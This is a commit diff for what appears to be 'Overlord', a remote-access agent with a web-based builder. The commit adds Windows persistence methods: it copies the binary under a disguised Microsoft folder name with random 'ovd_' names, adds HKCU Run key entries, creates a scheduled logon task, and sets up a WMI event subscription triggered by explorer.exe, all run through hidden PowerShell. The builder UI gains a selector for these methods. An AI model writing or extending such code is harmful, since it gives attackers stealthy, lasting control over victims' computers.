add more persistence options and fix startup detections. Also bump version to 1.3.5
This commit is contained in:
@@ -17,7 +17,7 @@ import (
|
||||
"time"
|
||||
)
|
||||
|
||||
var AgentVersion = "1.3.4"
|
||||
var AgentVersion = "1.3.5"
|
||||
|
||||
var DefaultPersistence = "false"
|
||||
var DefaultServerURL = "wss://127.0.0.1:5173"
|
||||
|
||||
@@ -5,6 +5,8 @@ import (
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
var DefaultPersistenceMethod = "startup"
|
||||
|
||||
func Setup() error {
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
|
||||
@@ -5,42 +5,86 @@ package persistence
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"syscall"
|
||||
|
||||
"golang.org/x/sys/windows/registry"
|
||||
)
|
||||
|
||||
const registryKey = `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`
|
||||
const startupFolderRelative = `Microsoft\Windows\Start Menu\Programs\Startup`
|
||||
const startupExecutablePrefix = "ovd_"
|
||||
const (
|
||||
registryKey = `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`
|
||||
|
||||
const legacyRegistryValueName = "OverlordAgent"
|
||||
const registryValuePrefix = "OverlordAgent-"
|
||||
startupFolderRelative = `Microsoft\Windows\Start Menu\Programs\Startup`
|
||||
|
||||
appDataBinaryDir = `Microsoft\DeviceSync`
|
||||
|
||||
startupExecutablePrefix = "ovd_"
|
||||
taskNamePrefix = "ovd_"
|
||||
|
||||
legacyRegistryValueName = "OverlordAgent"
|
||||
registryValuePrefix = "OverlordAgent-"
|
||||
|
||||
createNoWindow = 0x08000000
|
||||
)
|
||||
|
||||
func activeMethod() string {
|
||||
m := strings.ToLower(strings.TrimSpace(DefaultPersistenceMethod))
|
||||
switch m {
|
||||
case "registry", "taskscheduler", "wmi":
|
||||
return m
|
||||
default:
|
||||
return "startup"
|
||||
}
|
||||
}
|
||||
|
||||
func getTargetPath() (string, error) {
|
||||
switch activeMethod() {
|
||||
case "registry", "taskscheduler", "wmi":
|
||||
return getAppDataTargetPath()
|
||||
default:
|
||||
return getStartupFolderTargetPath()
|
||||
}
|
||||
}
|
||||
|
||||
func getStartupFolderTargetPath() (string, error) {
|
||||
appDataDir := os.Getenv("APPDATA")
|
||||
if appDataDir == "" {
|
||||
return "", fmt.Errorf("APPDATA environment variable not set")
|
||||
}
|
||||
|
||||
startupDir := filepath.Join(appDataDir, startupFolderRelative)
|
||||
if existing, ok := findExistingStartupExecutable(startupDir); ok {
|
||||
if existing, ok := findExistingBinaryInDir(startupDir); ok {
|
||||
return existing, nil
|
||||
}
|
||||
|
||||
name, err := generateStartupExecutableName()
|
||||
name, err := generateBinaryName()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
return filepath.Join(startupDir, name), nil
|
||||
}
|
||||
|
||||
func getAppDataTargetPath() (string, error) {
|
||||
appDataDir := os.Getenv("APPDATA")
|
||||
if appDataDir == "" {
|
||||
return "", fmt.Errorf("APPDATA environment variable not set")
|
||||
}
|
||||
dir := filepath.Join(appDataDir, appDataBinaryDir)
|
||||
if existing, ok := findExistingBinaryInDir(dir); ok {
|
||||
return existing, nil
|
||||
}
|
||||
name, err := generateBinaryName()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Join(dir, name), nil
|
||||
}
|
||||
|
||||
func getLegacyTargetPath() (string, bool) {
|
||||
appDataDir := os.Getenv("APPDATA")
|
||||
if appDataDir == "" {
|
||||
@@ -49,57 +93,161 @@ func getLegacyTargetPath() (string, bool) {
|
||||
return filepath.Join(appDataDir, "Overlord", "agent.exe"), true
|
||||
}
|
||||
|
||||
func findExistingStartupExecutable(startupDir string) (string, bool) {
|
||||
entries, err := os.ReadDir(startupDir)
|
||||
func findExistingBinaryInDir(dir string) (string, bool) {
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
return "", false
|
||||
}
|
||||
|
||||
for _, entry := range entries {
|
||||
if entry.IsDir() {
|
||||
continue
|
||||
}
|
||||
name := strings.ToLower(entry.Name())
|
||||
if !strings.HasSuffix(name, ".exe") {
|
||||
continue
|
||||
}
|
||||
if strings.HasPrefix(name, startupExecutablePrefix) {
|
||||
return filepath.Join(startupDir, entry.Name()), true
|
||||
if strings.HasSuffix(name, ".exe") && strings.HasPrefix(name, startupExecutablePrefix) {
|
||||
return filepath.Join(dir, entry.Name()), true
|
||||
}
|
||||
}
|
||||
|
||||
return "", false
|
||||
}
|
||||
|
||||
func generateStartupExecutableName() (string, error) {
|
||||
func findExistingStartupExecutable(startupDir string) (string, bool) {
|
||||
return findExistingBinaryInDir(startupDir)
|
||||
}
|
||||
|
||||
func generateBinaryName() (string, error) {
|
||||
b := make([]byte, 6)
|
||||
if _, err := rand.Read(b); err != nil {
|
||||
return "", fmt.Errorf("failed to generate startup executable name: %w", err)
|
||||
return "", fmt.Errorf("failed to generate executable name: %w", err)
|
||||
}
|
||||
return startupExecutablePrefix + hex.EncodeToString(b) + ".exe", nil
|
||||
}
|
||||
|
||||
func install(exePath string) error {
|
||||
func generateStartupExecutableName() (string, error) {
|
||||
return generateBinaryName()
|
||||
}
|
||||
|
||||
func deriveTaskName(targetPath string) string {
|
||||
h := sha256.Sum256([]byte(strings.ToLower(filepath.Clean(targetPath))))
|
||||
return taskNamePrefix + hex.EncodeToString(h[:4])
|
||||
}
|
||||
|
||||
func deriveWMINames(targetPath string) (filterName, consumerName string) {
|
||||
h := sha256.Sum256([]byte(strings.ToLower(filepath.Clean(targetPath))))
|
||||
suffix := hex.EncodeToString(h[:4])
|
||||
return taskNamePrefix + "f" + suffix, taskNamePrefix + "c" + suffix
|
||||
}
|
||||
|
||||
func runPowerShell(script string) error {
|
||||
cmd := exec.Command("powershell.exe",
|
||||
"-NoProfile", "-NonInteractive", "-WindowStyle", "Hidden",
|
||||
"-Command", script)
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{
|
||||
HideWindow: true,
|
||||
CreationFlags: createNoWindow,
|
||||
}
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return fmt.Errorf("powershell: %w: %s", err, strings.TrimSpace(string(out)))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func installStartupFolder(_ string) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func installRegistry(targetPath string) error {
|
||||
k, err := registry.OpenKey(registry.CURRENT_USER, registryKey,
|
||||
registry.QUERY_VALUE|registry.SET_VALUE)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to open HKCU Run key: %w", err)
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
names, _ := k.ReadValueNames(0)
|
||||
for _, name := range names {
|
||||
if strings.HasPrefix(strings.ToLower(name), strings.ToLower(registryValuePrefix)) {
|
||||
return k.SetStringValue(name, fmt.Sprintf(`"%s"`, targetPath))
|
||||
}
|
||||
}
|
||||
|
||||
b := make([]byte, 4)
|
||||
if _, err := rand.Read(b); err != nil {
|
||||
return fmt.Errorf("failed to generate registry value name: %w", err)
|
||||
}
|
||||
valueName := registryValuePrefix + hex.EncodeToString(b)
|
||||
return k.SetStringValue(valueName, fmt.Sprintf(`"%s"`, targetPath))
|
||||
}
|
||||
|
||||
func installTaskScheduler(targetPath string) error {
|
||||
taskName := deriveTaskName(targetPath)
|
||||
safe := strings.ReplaceAll(targetPath, "'", "''")
|
||||
// Notes on PowerShell parameter syntax used here:
|
||||
// -ExecutionTimeLimit: expects a TimeSpan; ([TimeSpan]::Zero) disables the limit.
|
||||
// -StartWhenAvailable: SwitchParameter — must be bare or use colon syntax (:$true);
|
||||
// writing "-StartWhenAvailable $true" (with space) makes $true a positional arg, which errors.
|
||||
script := fmt.Sprintf(
|
||||
`$a = New-ScheduledTaskAction -Execute '%s'; `+
|
||||
`$t = New-ScheduledTaskTrigger -AtLogOn; `+
|
||||
`$s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; `+
|
||||
`Register-ScheduledTask -TaskName '%s' -Action $a -Trigger $t -Settings $s -Force | Out-Null`,
|
||||
safe, taskName)
|
||||
return runPowerShell(script)
|
||||
}
|
||||
|
||||
func installWMI(targetPath string) error {
|
||||
filterName, consumerName := deriveWMINames(targetPath)
|
||||
safe := strings.ReplaceAll(targetPath, "'", "''")
|
||||
script := fmt.Sprintf(
|
||||
`$f = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance(); `+
|
||||
`$f.QueryLanguage = 'WQL'; `+
|
||||
`$f.Query = "SELECT * FROM __InstanceCreationEvent WITHIN 30 `+
|
||||
`WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'"; `+
|
||||
`$f.Name = '%s'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); `+
|
||||
`$c = ([wmiclass]"\\.\root\subscription:CommandLineEventConsumer").CreateInstance(); `+
|
||||
`$c.Name = '%s'; $c.ExecutablePath = '%s'; $null = $c.Put(); `+
|
||||
`$b = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance(); `+
|
||||
`$b.Filter = "\\.\root\subscription:__EventFilter.Name='%s'"; `+
|
||||
`$b.Consumer = "\\.\root\subscription:CommandLineEventConsumer.Name='%s'"; `+
|
||||
`$null = $b.Put()`,
|
||||
filterName, consumerName, safe, filterName, consumerName)
|
||||
return runPowerShell(script)
|
||||
}
|
||||
|
||||
func install(exePath string) error {
|
||||
targetPath, err := getTargetPath()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
startupDir := filepath.Dir(targetPath)
|
||||
err = os.MkdirAll(startupDir, 0755)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to create startup directory: %w", err)
|
||||
dir := filepath.Dir(targetPath)
|
||||
if err := os.MkdirAll(dir, 0755); err != nil {
|
||||
return fmt.Errorf("failed to create directory: %w", err)
|
||||
}
|
||||
|
||||
if err := replaceExecutable(exePath, targetPath); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if err := cleanupLegacyRunValues(); err != nil {
|
||||
return fmt.Errorf("failed to clean legacy startup registry values: %w", err)
|
||||
switch activeMethod() {
|
||||
case "registry":
|
||||
if err := installRegistry(targetPath); err != nil {
|
||||
return fmt.Errorf("failed to install registry persistence: %w", err)
|
||||
}
|
||||
case "taskscheduler":
|
||||
if err := installTaskScheduler(targetPath); err != nil {
|
||||
return fmt.Errorf("failed to install task scheduler persistence: %w", err)
|
||||
}
|
||||
case "wmi":
|
||||
if err := installWMI(targetPath); err != nil {
|
||||
return fmt.Errorf("failed to install WMI persistence: %w", err)
|
||||
}
|
||||
}
|
||||
|
||||
// Best-effort cleanup of legacy registry entries from older versions.
|
||||
// Don't fail persistence setup if cleanup is denied due to insufficient permissions.
|
||||
_ = cleanupLegacyRunValues()
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -139,7 +287,6 @@ func replaceExecutable(exePath, targetPath string) error {
|
||||
}
|
||||
return fmt.Errorf("failed to replace executable at %s: %w", targetPath, err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -155,36 +302,43 @@ func configure(exePath string) error {
|
||||
}
|
||||
}
|
||||
|
||||
if err := cleanupLegacyRunValues(); err != nil {
|
||||
return fmt.Errorf("failed to clean legacy startup registry values: %w", err)
|
||||
switch activeMethod() {
|
||||
case "registry":
|
||||
if err := installRegistry(targetPath); err != nil {
|
||||
return fmt.Errorf("failed to reconfigure registry persistence: %w", err)
|
||||
}
|
||||
case "taskscheduler":
|
||||
if err := installTaskScheduler(targetPath); err != nil {
|
||||
return fmt.Errorf("failed to reconfigure task scheduler persistence: %w", err)
|
||||
}
|
||||
case "wmi":
|
||||
if err := installWMI(targetPath); err != nil {
|
||||
return fmt.Errorf("failed to reconfigure WMI persistence: %w", err)
|
||||
}
|
||||
default:
|
||||
// Best-effort cleanup of legacy registry entries from older versions.
|
||||
// Don't fail persistence setup if cleanup is denied due to insufficient permissions.
|
||||
_ = cleanupLegacyRunValues()
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func uninstall() error {
|
||||
if err := cleanupLegacyRunValues(); err != nil {
|
||||
return fmt.Errorf("failed to clean startup registry values: %w", err)
|
||||
}
|
||||
_ = cleanupLegacyRunValues()
|
||||
|
||||
_ = uninstallTaskScheduler()
|
||||
|
||||
_ = uninstallWMI()
|
||||
|
||||
appDataDir := os.Getenv("APPDATA")
|
||||
if appDataDir == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
startupDir := filepath.Join(appDataDir, startupFolderRelative)
|
||||
if err := cleanupPrefixedExecutables(startupDir); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if err := cleanupPrefixedExecutables(filepath.Join(appDataDir, "Overlord")); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
targetPath, err := getTargetPath()
|
||||
if err == nil {
|
||||
_ = os.Remove(targetPath)
|
||||
}
|
||||
_ = cleanupPrefixedExecutables(filepath.Join(appDataDir, startupFolderRelative))
|
||||
_ = cleanupPrefixedExecutables(filepath.Join(appDataDir, appDataBinaryDir))
|
||||
_ = cleanupPrefixedExecutables(filepath.Join(appDataDir, "Overlord"))
|
||||
|
||||
if legacyPath, ok := getLegacyTargetPath(); ok {
|
||||
_ = os.Remove(legacyPath)
|
||||
@@ -193,6 +347,26 @@ func uninstall() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func uninstallTaskScheduler() error {
|
||||
return runPowerShell(
|
||||
`Get-ScheduledTask -ErrorAction SilentlyContinue | ` +
|
||||
`Where-Object { $_.TaskName -like 'ovd_*' } | ` +
|
||||
`Unregister-ScheduledTask -Confirm:$false -ErrorAction SilentlyContinue`)
|
||||
}
|
||||
|
||||
func uninstallWMI() error {
|
||||
return runPowerShell(
|
||||
`Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding ` +
|
||||
`-ErrorAction SilentlyContinue | Where-Object { $_.Filter -like "*ovd_*" } | ` +
|
||||
`Remove-WmiObject -ErrorAction SilentlyContinue; ` +
|
||||
`Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer ` +
|
||||
`-ErrorAction SilentlyContinue | Where-Object { $_.Name -like "ovd_*" } | ` +
|
||||
`Remove-WmiObject -ErrorAction SilentlyContinue; ` +
|
||||
`Get-WmiObject -Namespace root\subscription -Class __EventFilter ` +
|
||||
`-ErrorAction SilentlyContinue | Where-Object { $_.Name -like "ovd_*" } | ` +
|
||||
`Remove-WmiObject -ErrorAction SilentlyContinue`)
|
||||
}
|
||||
|
||||
func cleanupPrefixedExecutables(dir string) error {
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
@@ -218,7 +392,8 @@ func cleanupPrefixedExecutables(dir string) error {
|
||||
}
|
||||
|
||||
func cleanupLegacyRunValues() error {
|
||||
k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, registry.SET_VALUE)
|
||||
k, err := registry.OpenKey(registry.CURRENT_USER, registryKey,
|
||||
registry.QUERY_VALUE|registry.SET_VALUE)
|
||||
if err != nil {
|
||||
if err == registry.ErrNotExist {
|
||||
return nil
|
||||
@@ -226,7 +401,6 @@ func cleanupLegacyRunValues() error {
|
||||
return fmt.Errorf("failed to open registry key: %w", err)
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
return cleanupOverlordRunValues(k)
|
||||
}
|
||||
|
||||
@@ -235,7 +409,6 @@ func cleanupOverlordRunValues(k registry.Key) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
for _, name := range names {
|
||||
if isOverlordRunValueName(name) {
|
||||
if err := k.DeleteValue(name); err != nil && err != registry.ErrNotExist {
|
||||
@@ -243,7 +416,6 @@ func cleanupOverlordRunValues(k registry.Key) error {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "overlord-server",
|
||||
"version": "1.3.4",
|
||||
"version": "1.3.5",
|
||||
"private": true,
|
||||
"type": "module",
|
||||
"scripts": {
|
||||
|
||||
@@ -75,6 +75,18 @@ if (rawServerListCheckbox && serverUrlInput) {
|
||||
});
|
||||
}
|
||||
|
||||
const persistenceCheckbox = document.querySelector('input[name="enable-persistence"]');
|
||||
const persistenceMethodContainer = document.getElementById("persistence-method-container");
|
||||
if (persistenceCheckbox && persistenceMethodContainer) {
|
||||
persistenceCheckbox.addEventListener("change", () => {
|
||||
if (persistenceCheckbox.checked) {
|
||||
persistenceMethodContainer.classList.remove("hidden");
|
||||
} else {
|
||||
persistenceMethodContainer.classList.add("hidden");
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
async function init() {
|
||||
try {
|
||||
updateServerUrlPlaceholder();
|
||||
@@ -191,6 +203,7 @@ form?.addEventListener("submit", async (e) => {
|
||||
const enablePersistence = form.querySelector(
|
||||
'input[name="enable-persistence"]',
|
||||
).checked;
|
||||
const persistenceMethod = form.querySelector('#persistence-method')?.value || 'startup';
|
||||
const hideConsole = form.querySelector(
|
||||
'input[name="hide-console"]',
|
||||
).checked;
|
||||
@@ -208,6 +221,7 @@ form?.addEventListener("submit", async (e) => {
|
||||
disableCgo,
|
||||
obfuscate,
|
||||
enablePersistence,
|
||||
persistenceMethod: enablePersistence ? persistenceMethod : undefined,
|
||||
hideConsole,
|
||||
noPrinting,
|
||||
};
|
||||
|
||||
@@ -322,6 +322,30 @@
|
||||
>
|
||||
</div>
|
||||
</label>
|
||||
<!-- Persistence method selector – Windows only, shown when persistence is enabled -->
|
||||
<div
|
||||
id="persistence-method-container"
|
||||
class="hidden pl-3 border-l-2 border-orange-500/40"
|
||||
>
|
||||
<label
|
||||
class="block text-xs font-medium text-slate-400 mb-1"
|
||||
for="persistence-method"
|
||||
>Windows Persistence Method</label
|
||||
>
|
||||
<select
|
||||
id="persistence-method"
|
||||
name="persistence-method"
|
||||
class="w-full px-3 py-2 bg-slate-800/80 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-orange-500 transition-colors"
|
||||
>
|
||||
<option value="startup">Startup Folder (APPDATA)</option>
|
||||
<option value="registry">Registry (HKCU Run key)</option>
|
||||
<option value="taskscheduler">Task Scheduler (ONLOGON, requires admin)</option>
|
||||
<option value="wmi">WMI Subscription (requires admin)</option>
|
||||
</select>
|
||||
<p class="text-xs text-slate-500 mt-1">
|
||||
Method used on Windows; other platforms use their native mechanism
|
||||
</p>
|
||||
</div>
|
||||
<label
|
||||
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-emerald-500 transition-colors"
|
||||
title="Windows only: build without a console window"
|
||||
|
||||
@@ -18,6 +18,7 @@ export type BuildConfig = {
|
||||
disableCgo?: boolean;
|
||||
obfuscate?: boolean;
|
||||
enablePersistence?: boolean;
|
||||
persistenceMethod?: string;
|
||||
hideConsole?: boolean;
|
||||
noPrinting?: boolean;
|
||||
};
|
||||
|
||||
@@ -61,10 +61,13 @@ type BuildProcessConfig = {
|
||||
disableCgo?: boolean;
|
||||
obfuscate?: boolean;
|
||||
enablePersistence?: boolean;
|
||||
persistenceMethod?: string;
|
||||
hideConsole?: boolean;
|
||||
noPrinting?: boolean;
|
||||
};
|
||||
|
||||
const VALID_PERSISTENCE_METHODS = new Set(['startup', 'registry', 'taskscheduler', 'wmi']);
|
||||
|
||||
type BuildProcessDeps = {
|
||||
generateBuildMutex: (length?: number) => string;
|
||||
sanitizeOutputName: (name: string) => string;
|
||||
@@ -307,6 +310,11 @@ export async function startBuildProcess(
|
||||
const persistenceFlag = "-X overlord-client/cmd/agent/config.DefaultPersistence=true";
|
||||
ldflags = ldflags ? `${ldflags} ${persistenceFlag}` : persistenceFlag;
|
||||
sendToStream({ type: "output", text: `Persistence enabled for ${platform}\n`, level: "info" });
|
||||
if (os === 'windows' && config.persistenceMethod && VALID_PERSISTENCE_METHODS.has(config.persistenceMethod)) {
|
||||
const methodFlag = `-X overlord-client/cmd/agent/persistence.DefaultPersistenceMethod=${config.persistenceMethod}`;
|
||||
ldflags = `${ldflags} ${methodFlag}`;
|
||||
sendToStream({ type: "output", text: `Persistence method: ${config.persistenceMethod}\n`, level: "info" });
|
||||
}
|
||||
} else {
|
||||
sendToStream({ type: "output", text: `Persistence is not supported on ${platform}, skipping...\n`, level: "warning" });
|
||||
}
|
||||
|
||||
@@ -46,6 +46,7 @@ export async function handleBuildRoutes(
|
||||
disableCgo,
|
||||
obfuscate,
|
||||
enablePersistence,
|
||||
persistenceMethod,
|
||||
mutex,
|
||||
disableMutex,
|
||||
hideConsole,
|
||||
@@ -112,6 +113,11 @@ export async function handleBuildRoutes(
|
||||
});
|
||||
|
||||
const safeNoPrinting = !!noPrinting;
|
||||
const VALID_PERSISTENCE_METHODS = new Set(['startup', 'registry', 'taskscheduler', 'wmi']);
|
||||
const safePersistenceMethod =
|
||||
typeof persistenceMethod === 'string' && VALID_PERSISTENCE_METHODS.has(persistenceMethod.toLowerCase())
|
||||
? persistenceMethod.toLowerCase()
|
||||
: 'startup';
|
||||
deps.startBuildProcess(buildId, {
|
||||
platforms: allowedPlatforms,
|
||||
serverUrl: safeServerUrl,
|
||||
@@ -122,6 +128,7 @@ export async function handleBuildRoutes(
|
||||
disableCgo,
|
||||
obfuscate: !!obfuscate,
|
||||
enablePersistence,
|
||||
persistenceMethod: safePersistenceMethod,
|
||||
hideConsole: !!hideConsole,
|
||||
noPrinting: safeNoPrinting,
|
||||
});
|
||||
|
||||
@@ -1 +1 @@
|
||||
export const SERVER_VERSION = "1.3.4";
|
||||
export const SERVER_VERSION = "1.3.5";
|
||||
|
||||
Reference in New Issue
Block a user